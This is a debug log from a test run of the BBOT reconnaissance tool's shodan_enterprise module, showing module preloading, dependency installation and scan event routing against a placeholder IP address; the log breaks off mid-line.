+2026-02-27 18:59:12,649 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 18:59:12,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 18:59:12,650 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 18:59:12,651 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 18:59:12,652 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 18:59:12,653 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 18:59:12,654 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 18:59:12,654 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 18:59:12,655 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 18:59:12,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 18:59:12,656 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 18:59:12,657 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 18:59:12,658 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 18:59:12,658 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 18:59:12,659 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 18:59:12,663 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 18:59:12,664 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 18:59:12,664 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 18:59:12,665 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 18:59:12,666 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 18:59:12,667 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 18:59:12,667 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 18:59:12,668 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 18:59:12,669 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 18:59:12,669 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 18:59:12,670 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 18:59:12,670 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 18:59:12,671 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 18:59:12,672 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 18:59:12,672 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 18:59:12,673 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 18:59:12,673 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 18:59:12,674 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 18:59:12,674 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 18:59:12,675 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 18:59:12,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 18:59:12,676 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 18:59:12,677 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 18:59:12,678 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 18:59:12,678 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 18:59:12,679 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 18:59:12,684 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 18:59:12,685 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 18:59:12,686 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 18:59:12,687 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 18:59:12,688 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 18:59:12,689 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 18:59:12,689 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 18:59:12,690 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 18:59:12,690 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 18:59:12,691 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 18:59:12,692 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 18:59:12,693 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 18:59:12,694 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 18:59:12,695 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 18:59:12,695 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 18:59:12,696 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 18:59:12,697 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 18:59:12,697 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 18:59:12,698 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 18:59:12,699 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 18:59:12,699 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 18:59:12,700 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 18:59:12,701 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 18:59:12,701 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 18:59:12,702 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 18:59:12,702 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 18:59:12,703 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 18:59:12,704 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 18:59:12,705 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 18:59:12,706 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 18:59:12,706 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 18:59:12,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 18:59:12,707 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 18:59:12,708 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 18:59:12,708 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 18:59:12,709 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 18:59:12,710 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 18:59:12,710 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 18:59:12,711 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 18:59:12,712 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 18:59:12,713 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 18:59:12,714 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 18:59:12,715 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 18:59:12,716 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 18:59:12,716 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 18:59:12,717 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 18:59:12,718 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 18:59:12,718 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 18:59:12,719 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 18:59:12,719 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 18:59:12,720 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 18:59:12,720 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 18:59:12,721 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 18:59:12,722 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 18:59:12,723 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 18:59:12,724 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 18:59:12,724 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 18:59:12,725 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 18:59:12,725 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 18:59:12,726 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 18:59:12,727 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 18:59:12,727 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 18:59:12,728 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 18:59:12,729 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 18:59:12,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 18:59:12,730 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 18:59:12,731 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 18:59:12,732 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 18:59:12,732 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 18:59:12,733 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 18:59:12,733 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 18:59:12,734 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 18:59:12,734 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 18:59:12,735 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 18:59:12,736 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 18:59:12,736 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 18:59:12,737 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 18:59:12,737 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 18:59:12,738 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 18:59:12,738 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 18:59:12,739 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 18:59:12,740 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 18:59:12,741 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 18:59:12,742 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 18:59:12,742 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 18:59:12,743 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 18:59:12,744 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 18:59:12,744 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 18:59:12,745 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 18:59:12,746 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 18:59:12,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 18:59:12,747 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 18:59:12,748 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 18:59:12,749 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 18:59:12,749 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 18:59:12,750 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 18:59:12,751 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 18:59:12,752 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 18:59:12,753 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 18:59:12,754 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 18:59:12,754 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 18:59:12,755 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 18:59:12,756 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 18:59:12,756 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 18:59:14,144 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:59:14,144 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 18:59:14,145 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 18:59:14,283 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 18:59:14,851 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 18:59:15,072 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 18:59:15,073 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 18:59:15,189 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 18:59:15,193 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 18:59:15,248 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 18:59:15,252 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 18:59:15,252 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 18:59:15,949 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 18:59:15,950 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 18:59:19,075 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 18:59:19,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 18:59:19,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 18:59:21,105 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 18:59:21,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:59:21,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 18:59:21,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:59:21,114 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 18:59:21,114 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 18:59:21,114 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 18:59:21,115 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 18:59:21,115 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 18:59:21,120 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/m2gr96azwgfdq1c42288 +2026-02-27 18:59:22,367 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 18:59:22,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 18:59:22,369 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 18:59:22,494 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 18:59:22,494 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 18:59:22,495 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 18:59:22,497 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 18:59:22,498 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 18:59:22,498 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 18:59:22,498 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 18:59:22,500 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 18:59:22,500 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 18:59:22,500 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 18:59:22,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 18:59:22,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 18:59:22,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 18:59:22,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 18:59:22,502 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 18:59:22,502 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 18:59:22,503 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 18:59:22,503 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 18:59:22,503 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 18:59:22,504 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 18:59:22,505 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 18:59:22,505 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 18:59:22,506 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 18:59:22,506 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 18:59:22,507 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 18:59:22,509 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 18:59:22,509 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 18:59:22,509 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 18:59:22,509 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 18:59:22,649 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_k9r3xnbdv2 +2026-02-27 18:59:22,649 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 18:59:22,757 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 18:59:22,758 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 18:59:22,758 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 18:59:22,761 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 18:59:22,860 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-02-27 18:59:22,861 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 18:59:22,862 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-02-27 18:59:22,863 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:22,864 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:59:22,865 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:59:22,866 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 18:59:22,866 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 18:59:22,868 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:59:22,869 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 18:59:22,869 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:59:22,871 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 18:59:22,871 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:59:22,873 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 18:59:22,874 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck 